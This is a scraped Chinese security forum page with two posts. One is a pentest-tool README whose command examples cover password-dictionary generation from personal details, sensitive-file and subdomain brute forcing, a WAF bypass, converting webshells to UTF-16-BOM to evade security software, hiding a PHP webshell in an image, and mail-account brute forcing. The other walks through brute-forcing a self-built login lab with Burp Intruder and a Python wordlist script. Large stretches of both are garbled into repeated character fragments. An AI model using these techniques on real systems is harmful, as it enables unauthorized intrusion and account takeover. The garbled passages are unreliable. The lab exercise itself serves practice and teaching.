英文名称，--englishname 伴侣名字，--partnername 生日，--birthday 手机号，--phone QQ号，--qq 公司名称，--company 域名，--domian 老密码，--oldpasswd 关键字，--keyword 关键数字，--keynumbers 例如： pentest passwdgen --fullname "lin zhi ling" --birthday 1980-1-1 --phone 12344445555 --qq 34233888 -o password.txt 3.1.4 URI敏感文件爆破 pentest-tool的uribrute子命令提供了URI敏感文件爆破，URI爆破字典生成的功能例如： # 生成web打包备份、敏感文件字典，后缀名使用jsp和jspx，自定义关键字xxx，指定输出结果dict.txt pentest uribrute -t webbak,interestfile -e jspx,jsp --keyword "xxx" -o dict.txt # 爆破目标站点，使用safeurl bypass waf pentest uribrute -b -u http://127.0.0.1/discuz/6.0/ --safeurl "http://127.0.0.1/discuz/6.0/" # 爆破url.txt中的所有站点，爆破敏感文件，自定义notfound页面关键字为“找不到页面” pentest uribrute -b -u @urls.txt -t interestfile --notfound "找不到页面" 3.1.5 Google Hacking功能 pentest-tool的search子命令提供了Google Hacking的功能，目前支持以下搜索引擎： bing google baidu 例如： pentest search "inurl:viewthread.php" -s 10 -o tmp.txt # --unique设定域名唯一，相同域名只记录一个搜索结果 pentest search "inurl:viewthread.php" -s 10 --unique -o tmp.txt 注意，由于百度关闭了 localsearch 功能，因此目前 baidu 方式目前暂不可用。 3.1.6 子域名爆破 pentest-tool的domain子命令提供了子域名爆破功能：该模块使用3种技术进行子域名爆破：域传送漏洞检测、利用 DNS字典爆破 Google Hacking搜索注：支持输出到html文件，使用*-o xxx.html*做为输出文件即可例如： # 使用域传送技术、Google Hacking对aaa.com 进行子域名爆破 pentest domamin aaa.com -t zg # 使用字典爆破子域名，自定义字典文件domain_large.txt，同时指定爆破顶级域名 pentest domain aaa.com -t d --dict domain_large.txt --topdomian 3.1.7 C段扫描 pentest-tool的subnet子命令提供了C段扫描功能。注：支持输出到html文件，使用*-o xxx.html*做为输出文件即可例如： pentest subnet test.com -o result.html 3.1.8 编码 pentest-tool的encode子命令提供了编码的功能编码方式*-t/--type*支持： url url-all hex decimal unicode unicode-all md5 sha base64 base32 html html-all php-chr utf7 utf7-all 其中**-all编码会编码所有字符包括非特殊字符非ASCII编码*-m/--method*支持： utf8 gbk gb2312 big5 utf16 utf7 等所有python支持的编码方式，具体请参考如下链接： python支持的编解码格式例如： pentest encode -t unicode "aaa=你好" pentest encode -t url-all -m gbk "id=你好" pentest encode -t md5 "aaaaaaaa" 3.1.9 解码 pentest-tool的decode子命令提供了解码的功能，并提供非ASCII编码编码推测功能解码方式*-t/--type*支持： auto(默认) hex url unicode decimal base64 base32 html php-chr utf7 其中auto方式会自动检测url类型、hex类型的字符串并进行解码非ASCII编码*-m/--method*支持： utf8 gbk gb2312 big5 utf16 utf7 等所有python支持的编码方式，具体请参考如下链接： python支持的编解码格式例如： pentest decode -t base64 5ZOI5ZOI pentest decode -m utf8 aaa%E5%93%88%E5%93%88 pentest encode -t hex "\x61\x61\xe5\x93\x88\xe5\x93\x88" # 推测编码 pentest decode -d "\x61\x61\xe5\x93\x88\xe5\x93\x88" 3.1.10 文件处理功能 pentest-tool的file子命令提供了常用的文件操作，包括：文件查看、文件编码推断、文件类型转换、文件hash计算、文件图片隐藏(制作php图片木马) 使用*--list*查看支持的文件编码转换格式： utf-32le utf-32le-bom utf-32 utf-32-bom utf-32be utf-32be-bom utf-16be utf-16be-bom utf-8 utf-8-bom utf-16 utf-16-bom utf-16le utf-16le-bom gbk gb2312 big5 ... 例如： # 检测文件编码类型 pentest file cmdb.jsp -d # 计算文件hash pentest file cmdb.jsp --hash md5 # 以16进制方式查看文件 pentest file cmdb.jsp@hex # 将utf-8编码的文件test.txt转换为gbk编码的gbk.txt pentest file test.txt@utf8 -c gbk.txt@gbk # 文件转换，转换为utf-16-bom类型文件(jsp/aspx的utf-16-bom类型文件可绕过一些安全软件) pentest file cmd.jsp -c dst.jsp@utf-16-bom # 制作图片木马，会生成caidao_hiddenin_aa.jpg pentest file caidao.php --hidein aa.jpg 3.1.11 Mail账户验证/爆破 pentest-tool中的pen-mail提供简单的Mail账户验证、爆破功能：例如： # 验证/tmp/maillist.txt中的Mail账户 pen-mail -c -a @/tmp/maillist.txt # 爆破邮箱 pen-mail -b -u @mail.txt -p @pass.txt 3.1.12 字典维护 pentest-tool中的pen-wordlist提供了字典文件维护的功能，包括：将多个字典文件merge到数据库中对每个字典项进行打分计算按照评分高低导出字典文件例如： # 按照评分高低从数据库password.db中导出字典文件pass.txt，长度为100 `pen-wordlist` -d pass.txt ../user-password/password/password.db -s 100 # 将字典文件test.txt merge 到数据库password.db中，重复项分值+1 `pen-wordlist` -l test.txt ../user-password/password/password.db 3.2 user-passwd字典 password目录包含密码字典文件 user目录包含用户名字典文件 3.3 dns字典 dns爆破字典 3.4 directory字典 web目录爆破字典，详见相关目录readme.md文件 3.5 attack-payload 各种攻击payload字典，详见相关目录readme.md文件 3.6 webshell webshell收集，详见相关目录readme.md文件 3.7 script 常用脚本 3.8 exploit 一些有用的exploit，详见相关目录readme.md文件 4 备注本项目使用 Apache License 2.0 开源协议 Copyright [2019] [alpha1e0] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. 项目中的字典等文件统一使用“/**”作为注释符，注释符在一行开头，且只能注释单行介绍本项项目目用用于于提提供供渗渗透透测测试试的的辅辅助助工工具本项目项目用目用于用于提于提供提供渗供渗透渗透测透测试测试的试的辅的辅助辅助工助工具本项目用项目用于目用于提用于提供于提供渗提供渗透供渗透测渗透测试透测试的测试的辅试的辅助的辅助工辅助工具资源源文文件资源文源文件资源文件郑重重声声明郑重声重声明郑重声明目仅仅供供学学习习交交流项目仅目仅供仅供学供学习学习交习交流本项目仅项目仅供目仅供学仅供学习供学习交学习交流请勿勿使使用用本目进进行行任任何何未未经经授授权权的的渗请勿使勿使用使用本用本项项目进目进行进行任行任何任何未何未经未经授经授权授权的权的渗的渗透请勿使用勿使用本使用本项用本项目本项目进项目进行目进行任进行任何行任何未任何未经何未经授未经授权经授权的授权的渗权的渗透的渗透测供轻轻量量级级的的易易扩扩展展的的工提供轻供轻量轻量级量级的级的易的易扩易扩展扩展的展的工的工具提供轻量供轻量级轻量级的量级的易级的易扩的易扩展易扩展的扩展的工展的工具可以以快快速速编编写可以快以快速快速编速编写可以快速以快速编快速编写添加加漏漏洞洞验验证添加漏加漏洞漏洞验洞验证添加漏洞加漏洞验漏洞验证扫描描规规则扫描规描规则扫描规则加指指纹纹规添加指加指纹指纹规纹规则添加指纹加指纹规指纹规则爆破破规则等爆破规破规则规则等爆破规则破规则等包含含以以下下功功能包含以含以下以下功下功能包含以下含以下功以下功能系统能够够使能够使够使用能够使用够批批量量执执行能够批够批量批量执量执行能够批量够批量执批量执行子域域名名爆子域名域名爆名爆破子域名爆域名爆破破子爆破子破子域爆破子域破子域名用域域传传送使用域用域传域传送使用域传用域传送行子进行子行子域进行子域行子域名段扫段扫描支持持生生成支持生持生成支持生成格式式输输出出文格式输式输出输出文出文件格式输出式输出文输出文件服务务端端应应用用识识别服务端务端应端应用应用识用识别服务端应务端应用端应用识应用识别类型务器服务器操作作系操作系作系统操作系统中间间件件等中间件间件等中间件等敏感感资源爆敏感资感资源资源爆源爆破敏感资源感资源爆资源爆破感文敏感文感文件敏感文件整站站备备份整站备站备份整站备份配置置备配置备置备份配置备份文件等感文件等社工工密密码码字字典典生社工密工密码密码字码字典字典生典生成社工密码工密码字密码字典码字典生字典生成根据据社工信信息息生成密码爆破字根据社据社工社工信工信息信息生息生成生成密成密码密码爆码爆破爆破字破字典根据社工据社工信社工信息工信息生信息生成息生成密生成密码成密码爆密码爆破码爆破字爆破字典编解解码码等等功编解码解码等码等功等功能编解码等解码等功码等功能持非非常常丰丰富富的的编码方方式支持非持非常非常丰常丰富丰富的富的编的编解解码方码方式支持非常持非常丰非常丰富常丰富的丰富的编富的编解的编解码编解码方解码方式方便便做方便做编码各种种渗试常常用用的的资各种渗种渗透测试常试常用常用的用的资的资源各种渗透种渗透测透测试常测试常用试常用的常用的资用的资源的资源文包括括各种爆包括各括各种各种爆种爆破包括各种括各种爆各种爆破种爆破字攻击安装中提供的试资源可以直直接接使中提供提供的供的渗测试资试资源资源可源可以可以直以直接直接使接使用中提供的提供的渗供的渗透透测试资测试资源试资源可资源可以源可以直可以直接以直接使直接使用需要要安装到到系统中需要安要安装安装到装到系到系统系统中需要安装要安装到安装到系装到系统到系统中装过过程程如如下安装过装过程过程如程如下

2022年10月15日4年前

GitHub传图太渣，要想复现，可以去看雪看带图的帖子https://bbs.pediy.com/thread-259511.htm foundlove 一个借助phpstudy，实现的注册登录平台，主要用于模拟暴力破解靶场环境。 phpstudy构建网站把本项目当作网站用phpstudy展现出来数据库构建如图通过phpstudy进入mysql主页，然后按图中顺序，新建foundlove数据库。如图构建一个叫做users的表，并令其字段数为3，点击执行。将三个数据如图设置，然后保存，只要看到下面的截图即设置成功。数据库后端配置：在网站源码的config.php文件下修改数据库配置， define('DB_USER', 'root'); define('DB_PWD', 'root'); 分别是数据库的用户名和密码，进PHP study看一下，有个数据库一栏，进去之后可以修改root密码，保证这里的和config.php里的一致。访问验证在浏览器中访问刚刚设置的域名，测试是否能成功访问如果正常显示表面phpstudy成功，然后在Register地方注册一个新账户，[email protected], 密码014523，如果反馈注册成功，则说明数据库连接成功，可以开始下一步实验。爆破实验对注册、登录相关信息的收集，首先是welcome首页，可以看到在底部轮播滚动的图片上，标有个人公开信息，也就是说，我们可以从这里知道：用户邮箱和编号，在相亲网站中，这种操作是很常见的。然后进入注册查看一下，注册的时候会不会有有用的对密码的规则信息：可以看到，并没有太多有用的信息，但是经过一些尝试，虽然知道了注册的时候密码至少六位，但是没有提供实质性的思路。于是乎，来到第三个导航栏标签登录 ”Login” ，发现跟注册一个很大的不同就是，有忘记密码选项：这里面一般情况下就会包含有跟密码相关的信息，点进去之后发现果然：在注意事项的最后一条，很明显可以看到，ID（也就是最一开始我们看到的编号）是相亲现场分配的，密码则是身份证后六位。至此，已经可以确定的是：登录时需要两个信息：邮箱和密码；密码的规则是身份证后六位；经过查看网页公开用户信息，选定想要暴破的目标账户在首页轮播中，选中一位用户，可以看见其邮箱为：[email protected]，编号为：124；我们选定这个账户为攻击目标。对密码规则进行构建密码本（C++版本、python版本择一进行）构建密码本：按理来说六位数可以生成10的6次方个数，也就是1000000，但是因为是身份证后六位，所以有所区别：前两位是日期，所以一定是 ”01-31” 之间的数；倒数第二位是性别验证，如果能知道攻击目标的性别，这里一下也可以去掉一半的无效密码字典，但是这里并没有明确知道性别；最后一位校验位可能出现X，但是概率很小，而且密码设定的时候，X通常会用某数代替，比如说0；现在规则说清楚了之后，可以开始写脚本生成密码本： Python：在id_number.py文件中构建如下代码： print ('password set') passwords = open('passwords.txt','w') for i in range(1, 32): day = str(i) if (i < 10): day = '0' + day for j in range(100): if (j < 10): dayafter = '0' + str(j) else: dayafter = str(j) for k in range(100): end = str(k) if(k<10): end = '0' + end password = day+dayafter+end passwords.write('\n'+password) print(password+'\n') passwords.close() 然后在控制台运行（这一步在Linux和Windows环境下操作相同），python id_number.py，即可生成密码本passwords.txt BP入门，代理等配置设置现在，目标账户已经锁定，并且知道用户ID和注册邮箱，然后密码本已经生成，接下来就正式进入爆破阶段，在此之前，需要设置一下Burp suite(BP)，关于BP在工具阶段已经介绍了，这里就直接开始网络代理设置部分的介绍：使用火狐浏览器，打开新标签，并输入：about:preferences ，在常规这一部分，滚到最下方有个网络设置点击进入，选择手动代理配置，并且把内容配置成如图，目的是使用127.0.0.1代理，这样就可以在bp进行拦截，相当于每次传输都要经过bp，这样我们就可以利用bp对传输信息进行分析利用：接下来进入bp的proxy一栏，打开intercept，显示如图：在火狐浏览器打开Found Love的网站，在Login登录选项随机输入密码，如果bp效果如下图，则代表设置成功： BP加密码本暴破选定目标账户此时我们看到的Raw里的内容就是传输的包，我们分析一下，很明显可以看到，email=fondlove%40outlook.com&password=57657456&rem=1&login=，最后一行有两块可疑内容：email和password，57657456就是刚刚随机输入的密码，如果能够把这一块进行设置，加上密码本就能找出密码，点击Action，进入Send to Intruder。接下来就是爆破的核心几步：（1）进入Intruder，可以看到target部分已经预设好，这里就不需要再管了，因为这是从之前截获的包里提取出来的；（2）进入positions，还记得我们一开始说的值得怀疑的地方吗？这里可以看到，bp已经帮我们加了§括起来，但是除了怀疑的password别的也在括起来了。这里需要说明的就是，bp把所有可变因素都给括起来的，我们只需要password是可变的，因此可以选中不需要的元素，然后用Clear§按钮去掉§符号（3）需要额外说明，最上方的attack type： ① Sniper（狙击手模式）针对单一密码，假设确定了两个位置A和B，然后密码包payload里有两个密码1、2，那么攻击模式如下： Attack No. Position A Position B 0 1 Null 1 2 Null 2 Null 1 3 Null 2 一次只会对一个位置进行攻击！ ② Battering ram（攻城锤模式）与sniper模式不同的地方在于，同样情况下，攻击次数减半，每次两个位置用同样的密码，如表： Attack No. Position A Position B 0 1 1 1 2 2 ③ Pitchfork（叉子模式）跟前两种不同的地方在于，可以多组密码本payload，又于battering ram相同的地方在于，一一对应，现在添加包含3、4的密码本payload，暴力破解过程如表： Attack No. Position A Position B 0 1 3 1 2 4 ④ Cluster bomb（炸弹模式）跟叉子模式相似的是多个密码本对应多个位置，不同的是不再是一一对应，而是交叉组合，每一个密码本里的密码都对应于另一密码本所有密码，如表： Attack No. Position A Position B 0 1 3 1 2 3 2 1 4 3 2 4 此处我们仅在password位置设置密码本，因此选择狙击手模式。（4）进入Payloads，此时在传输包方面的设置已经完成，只剩下加载密码本了，Payload Options处有load功能，点击加载我们之前创建的密码本：（5）点击Start Attack进入爆破。（6）等待爆破结束及说明当进入如图界面时，剩下的就是等待了，三个框中，最底下的代表的就是进度，代表当前已经跑过多少密码了；中间的小框有两个：Request、Response，一个是请求界面，一个是回返界面，当我们想要查看密码是否正确的时候，可以点击Response查看；当我们想要看时候有正确密码产生的时候，可以点击length（代表的是反应时长，因为密码正确和错误所反馈的时间是不同的），发现异常时长时，即可点击Response查看；（7）爆破结束可以看到密码在014523处时间变少，跟其他的都不一样，并且在response里看到有Login success！字样，说明爆破成功，此时回到foundlove网站，用邮箱密码登录即可看到如图效果。（当我们再次操作浏览器时，要在bp的proxy处关掉intercept）当想要载再次进行此实验的时候可以点击logout退出即可传图图太太渣传图太图太渣传图太渣要想想复复现要想复想复现要想复现可以以去去看看雪雪看看带带图图的的帖帖子可以去以去看去看雪看雪看雪看带看带图带图的图的帖的帖子可以去看以去看雪去看雪看看雪看带雪看带图看带图的带图的帖图的帖子一个个借借助一个借个借助一个借助实现现的的注注册册登登录录平平台实现的现的注的注册注册登册登录登录平录平台实现的注现的注册的注册登注册登录册登录平登录平台主要要用用于于模模拟拟暴暴力力破破解解靶靶场场环环境主要用要用于用于模于模拟模拟暴拟暴力暴力破力破解破解靶解靶场靶场环场环境主要用于要用于模用于模拟于模拟暴模拟暴力拟暴力破暴力破解力破解靶破解靶场解靶场环靶场环境构建建网网站构建网建网站构建网站把本本项项目目当当作作网站用把本项本项目项目当目当作当作网作网站网站用把本项目本项目当项目当作目当作网当作网站作网站用展现现出出来展现出现出来展现出来数据据库库构数据库据库构库构建数据库构据库构建如图图通通过如图通图通过如图通过进入主页然后后按按图图中中顺顺序然后按后按图按图中图中顺中顺序然后按图后按图中按图中顺图中顺序新建图构建一个叫叫做如图构图构建构建一建一个一个叫个叫做如图构建图构建一构建一个建一个叫一个叫做的表并令令其其字字段段数数为并令其令其字其字段字段数段数为并令其字令其字段其字段数字段数为点击击执执行点击执击执行点击执行将三三个个数据如图设设置将三个三个数个数据数据如据如图如图设图设置将三个数三个数据个数据如数据如图据如图设如图设置后保保存然后保后保存然后保存只要要看看到到下下面面的的截截图图即即设置成成功只要看要看到看到下到下面下面的面的截的截图截图即图即设即设置设置成置成功只要看到要看到下看到下面到下面的下面的截面的截图的截图即截图即设图即设置即设置成设置成功库后后端端配配置据库后库后端后端配端配置数据库后据库后端库后端配后端配置在网站源源码码的在网站网站源站源码源码的在网站源网站源码站源码的文件件下下修修改改数库配文件下件下修下修改修改数改数据据库配库配置文件下修件下修改下修改数修改数据改数据库数据库配据库配置分别别是是数库的的用用户户名名和和密密码分别是别是数是数据据库的库的用的用户用户名户名和名和密和密码分别是数别是数据是数据库数据库的据库的用库的用户的用户名用户名和户名和密名和密码看一一下看一下有个库一一栏有个数据库一库一栏有个数据个数据库数据库一据库一栏进去去之之后后可以修进去之去之后之后可后可以可以修以修改进去之后去之后可之后可以后可以修可以修改保证证这这里里的的和保证这证这里这里的里的和保证这里证这里的这里的和的一一致里的一的一致里的一致访问问验验证访问验问验证访问验证在浏浏览览器器中中访问刚刚刚刚设置的的域域名在浏览浏览器览器中器中访中访问访问刚问刚刚刚刚设刚设置设置的置的域的域名在浏览器浏览器中览器中访器中访问中访问刚访问刚刚问刚刚设刚刚设置刚设置的设置的域置的域名测试试是是否否能能成功访测试是试是否是否能否能成能成功成功访功访问测试是否试是否能是否能成否能成功能成功访成功访问如果果正正常常显显示示表表面如果正果正常正常显常显示显示表示表面如果正常果正常显正常显示常显示表显示表面后在然后在地方方注册一个新新账账户地方注方注册注册一册一个一个新个新账新账户地方注册方注册一注册一个册一个新一个新账个新账户果反反馈馈注册成如果反果反馈反馈注馈注册注册成册成功如果反馈果反馈注反馈注册馈注册成注册成功则说说明明数库连连接接成

2022年10月15日4年前

登录

CNHAT

注册日期

上次访问

CNHAT 发布的所有帖子

分布式事务Seata AT模式原理分析木马

Sql Server在没有XpCmdShe的情况下执行命令

Black Basta 勒索软件团伙使用 Qakbot 恶意软件渗透美国公司

最近中了复制粘贴木马，怎么消除啊啊啊啊啊

最近中了复制粘贴木马，怎么消除啊啊啊啊啊

CHT攻防小组业务合作流程

研究人员详细介绍了针对印度政府雇员的新恶意软件活动

MHDDoS 56种方法的DDoS攻击脚本内置下载地址

兄弟们一般做博客都是用什么程序的啊？

Zabbix SAML SSO 登录绕过漏洞

（PageAdmin CMS）渗透后台过程

爬微信公众号整成bot

sql server没xp_cmdshell执行命令

reateRemoteThread远程线程注入

Xposed+XServer无需脱壳抓取加密APP真实IP

vbs绕过360用ps1反弹shell

WEB安全手册(红队安全技能栈)，漏洞理解，漏洞利用，代码审计和渗透测试总结。

面试渗透工作面试官会提什么问题？

面试渗透工作面试官会提什么问题？

渗透透测试演练的WEB系统

用python实现的web框架建立的在线渗透平台

Kali Linux Web 渗透测试秘籍中文版

瓶颈渗透,web渗透,red红队,fuzz param,注释,js字典,ctf

WEB渗透测试数据库

暴力破解练习靶场

帐户

导航

搜索